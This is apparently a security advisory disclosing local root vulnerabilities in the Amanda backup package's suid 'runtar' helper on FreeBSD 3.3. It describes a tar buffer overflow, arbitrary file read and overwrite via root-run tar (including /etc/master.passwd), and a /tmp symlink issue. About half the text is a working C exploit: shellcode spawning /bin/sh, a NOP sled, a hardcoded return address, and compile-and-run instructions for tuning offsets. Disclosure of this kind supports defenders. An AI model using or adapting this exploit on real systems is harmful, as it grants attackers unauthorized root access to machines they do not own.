OVERVIEW:
The Amanda backup package has a several vulnerabilities which
will allow any user to gain root privs.

BACKGROUND:
My tests were done ONLY on FreeBSD 3.3-RELEASE, though this is almost
certainly not the only vulnerable OS.  A search for "amanda-2 and not
freebsd" on altavista yields preliminary, unconfirmed data that some of
the vulnerable OS's (based on packages that are included on install
CD's, anyone can install Amanda to make themselves vulnerable) may be:
RedHat ?.?, TurboLinux, PowerTools CD, SuSE 6.2 Confirmation on which
OS's/tar's are vulnerable would be useful.

DETAILS:

Amanda's "runtar" program, suid root by default on FreeBSD 3.3, calls
/usr/bin/tar and passes all args given to runtar to this program. Tar is

thus run with root permissions and is vulnerable to all of the same
attacks on suid programs that it would have if it were suid itself.

Vuln #1 - run tar as root

Since tar is run with root permissions, you are free to tar up any file
you wish, including /etc/master.passwd.  You may also untar any file you

wish, to any location on the system, including /etc/master.passwd.  This

does not require any exploit kung-fu and may be done by supplying args
to tar/runtar as if you were root.

Vuln #1.1 - tar contains a buffer overflow

Obtaining root via buffer overflow here is redundant, of course, but it
illustrates the point that even if tar's capabilities weren't able to
gain root
privs, the buffer overflow would still allow you to do so. An overflow
exists *IN TAR* which will allow any user to execute commands as root.
Note that an overflow in tar isn't an immediate security flaw
since it is never suid/sgid, but it goes to show that one should do
security audits of all the programs one calls with user input. By
passing
a long string to runtar in the form "/usr/local/libexec/amanda/runtar
cvf
$400bytes:bah" we can execute our commands.  FreeBSD exploit attached
below.

Vuln #2 - symlink problem

Not quite as serious, but a concern nonetheless.  When the amandad
daemon
is run, a bin-owned file called "amandad.debug" in /tmp.  By creating
a symlink from /tmp/amandad.debug to any other file, we will force
amandad
to clobber the contents with that of amandad's debug info.  Note that
amandad is not suid/sgid, but it is often run with root perms at startup

or via scripts.

WHO IS VULNERABLE:
Anyone running a suid version of runtar should be suspicious.  I've not
tested any other O.S.'s except FreeBSD 3.3, which includes amanda 2.3.0
and 2.4.1 as "additional packages" on the install CD and tar-1.11.2.


EXPLOIT:

/*
 * Amanda runtar exploit yields euid=0(root)
 * Actually overflows tar 1.11.2 (included in FreeBSD 3.3)
 * Tested on FreeBSD 3.3, modify shell/addr/dir for Amanda/tar on other
 * platforms
 *
 * Compile gcc -o amandax amandax.c
 * Run ./amandax <offset> <buflen>
 * keep buflen around 400, try positive and negative offsets
 *
 * Brock Tellier btellier@usa.net
 */


#include <stdlib.h>
#include <stdio.h>

char fbsdshell[]= /* mudge@lopht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


#define LEN 400
#define NOP 0x90
#define ALIGN 3
#define OFFSET 0
#define ADDR 0xbfbfdd90 /* fbsd 3.3 */

int main(int argc, char *argv[]) {

long int offset=OFFSET;

int i;
int buflen = LEN;
long int addr = ADDR;
char buf[LEN];

if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) buflen = atoi(argv[2]);
if (argc > 3) {
  fprintf(stderr, "Usage: %s <offset> <buflen>");
  exit(0);
}

fprintf(stderr, "Amanda runtar exploit for FreeBSD 3.3\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\t buflen: %d\t offset: %d\n",
addr+offset, buflen, offset);

memset(buf,NOP,buflen);
memcpy(buf+100,fbsdshell,strlen(fbsdshell));
for(i= 100 + strlen(fbsdshell)+ALIGN;i<buflen-4;i+=4)*(int
*)&buf[i]=addr+offset;

execl("/usr/local/libexec/amanda/runtar", "runtar","cvf", buf, ":bah",
NULL);

exit(0);
}

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA